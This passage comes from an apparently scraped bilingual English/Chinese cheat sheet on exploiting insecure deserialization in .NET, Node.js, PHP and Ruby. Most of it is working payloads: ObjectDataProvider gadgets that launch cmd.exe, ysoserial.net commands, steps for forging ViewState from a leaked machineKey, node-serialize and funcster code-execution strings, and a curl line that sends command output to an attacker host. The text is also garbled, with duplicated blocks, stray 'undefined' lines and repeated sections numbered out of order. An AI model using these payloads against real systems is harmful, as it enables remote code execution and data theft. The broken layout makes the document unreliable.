  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}
Vulnerable when
TypeNameHandling
is set to
Auto
,
Objects
,
Arrays
, or
All
.
json
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}
TypeNameHandling
设置为
Auto
Objects
Arrays
All
时存在漏洞。

Tools

工具

  • pwntester/ysoserial.net
    — primary .NET deserialization payload generator
  • Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile

  • pwntester/ysoserial.net
    — 主流.NET反序列化payload生成器
  • Gadget链:TypeConfuseDelegate、TextFormattingRunProperties、PSObject、ActivitySurrogateSelectorFromFile

NODE.JS DESERIALIZATION

NODE.JS反序列化

node-serialize (IIFE Pattern)

node-serialize(IIFE模式)

javascript
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';

// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function

// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}
javascript
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';

// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function

// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}

funcster

funcster

javascript
// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}
javascript
// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}

PHP create_function + Deserialization Combo

PHP create_function + 反序列化组合利用

php
// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command

// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}

php
// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command

// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}

11. RUBY DESERIALIZATION

11. Ruby反序列化

Marshal

Marshal

ruby
undefined
ruby
undefined

Ruby's native serialization. Dangerous when deserializing untrusted data.

Ruby's native serialization. Dangerous when deserializing untrusted data.

Detection: Binary data starting with \x04\x08

Detection: Binary data starting with \x04\x08

One-liner gadget verification (hex-encoded payload):

One-liner gadget verification (hex-encoded payload):

payload = ["040802"].pack("H*") # Minimal Marshal header Marshal.load(payload)
undefined
payload = ["040802"].pack("H*") # Minimal Marshal header Marshal.load(payload)
undefined

YAML (CVE-rich surface)

YAML(高CVE风险面)

ruby
undefined
ruby
undefined

YAML.load is DANGEROUS — equivalent to eval for Ruby objects

YAML.load is DANGEROUS — equivalent to eval for Ruby objects

Safe alternative: YAML.safe_load

Safe alternative: YAML.safe_load

Ruby <= 2.7.2: Gem::Requirement chain

Ruby <= 2.7.2: Gem::Requirement chain

--- !ruby/object:Gem::Requirement requirements:
  • !ruby/object:Gem::DependencyList specs:
    • !ruby/object:Gem::Source uri: "| id"
--- !ruby/object:Gem::Requirement requirements:
  • !ruby/object:Gem::DependencyList specs:
    • !ruby/object:Gem::Source uri: "| id"

Ruby 2.x-3.x: Gem::Installer chain (more complex)

Ruby 2.x-3.x: Gem::Installer chain (more complex)

Triggers: git_set → Kernel#system

Triggers: git_set → Kernel#system

--- !ruby/object:Gem::Installer i: x
--- !ruby/object:Gem::Installer i: x

(Full chain available in ysoserial-ruby / blind-ruby-deserialization)

(Full chain available in ysoserial-ruby / blind-ruby-deserialization)

Universal detection: supply YAML that triggers DNS callback

Universal detection: supply YAML that triggers DNS callback

--- !ruby/object:Gem::Fetcher uri: http://BURP_COLLAB/

**Tools**: `elttam/ruby-deserialization`, `mbechler/ysoserial` (Ruby variant)

---
--- !ruby/object:Gem::Fetcher uri: http://BURP_COLLAB/

**工具**:`elttam/ruby-deserialization`、`mbechler/ysoserial`(Ruby变体)

---

12. .NET DESERIALIZATION

12. .NET反序列化

Fingerprinting

指纹识别

Magic BytesFormat
AAEAAD
(base64) /
00 01 00 00 00
(hex)
BinaryFormatter
FF 01
or
/w
(base64)
ViewState (ObjectStateFormatter)
<
(XML opening)
XmlSerializer / DataContractSerializer
JSON with
$type
key
JSON.NET (TypeNameHandling enabled)
魔数格式
AAEAAD
(base64) /
00 01 00 00 00
(十六进制)
BinaryFormatter
FF 01
/w
(base64)
ViewState(ObjectStateFormatter)
<
(XML开头)
XmlSerializer / DataContractSerializer
$type
键的JSON
JSON.NET(TypeNameHandling启用)

BinaryFormatter (most dangerous)

BinaryFormatter(最危险)

undefined
undefined

Always dangerous when deserializing untrusted data

Always dangerous when deserializing untrusted data

Tool: ysoserial.net

Tool: ysoserial.net

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64 ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
undefined
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64 ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
undefined

ViewState (ASP.NET)

ViewState(ASP.NET)

undefined
undefined

If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):

If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"

Leak machineKey from web.config (via LFI/backup) → forge ViewState

Leak machineKey from web.config (via LFI/backup) → forge ViewState

undefined
undefined

XmlSerializer + ObjectDataProvider

XmlSerializer + ObjectDataProvider

xml
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
      xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ObjectDataProvider MethodName="Start">
    <ObjectInstance xsi:type="Process">
      <StartInfo>
        <FileName>cmd.exe</FileName>
        <Arguments>/c whoami</Arguments>
      </StartInfo>
    </ObjectInstance>
  </ObjectDataProvider>
</root>
xml
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
      xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ObjectDataProvider MethodName="Start">
    <ObjectInstance xsi:type="Process">
      <StartInfo>
        <FileName>cmd.exe</FileName>
        <Arguments>/c whoami</Arguments>
      </StartInfo>
    </ObjectInstance>
  </ObjectDataProvider>
</root>

JSON.NET ($type abuse)

JSON.NET($type滥用)

json
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System",
    "StartInfo": {
      "$type": "System.Diagnostics.ProcessStartInfo, System",
      "FileName": "cmd.exe",
      "Arguments": "/c whoami"
    }
  }
}
Vulnerable when
TypeNameHandling != None
in JSON deserialization settings.
json
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System",
    "StartInfo": {
      "$type": "System.Diagnostics.ProcessStartInfo, System",
      "FileName": "cmd.exe",
      "Arguments": "/c whoami"
    }
  }
}
当JSON反序列化设置中
TypeNameHandling != None
时存在漏洞。

Tools

工具

  • pwntester/ysoserial.net
    — primary .NET gadget chain generator
  • NotSoSecure/Blacklist3r
    — decrypt/forge ViewState with known machineKey

  • pwntester/ysoserial.net
    — 主流.NET gadget链生成器
  • NotSoSecure/Blacklist3r
    — 使用已知machineKey解密/伪造ViewState

13. NODE.JS DESERIALIZATION

13. NODE.JS反序列化

node-serialize (IIFE injection)

node-serialize(IIFE注入)

javascript
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);

// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}

// Key: the () at the end causes immediate execution upon deserialization
javascript
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);

// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}

// Key: the () at the end causes immediate execution upon deserialization

funcster

funcster

javascript
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}
javascript
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}

PHP create_function + Deserialization Combo

PHP create_function + 反序列化组合利用

php
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest

// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}
php
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest

// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}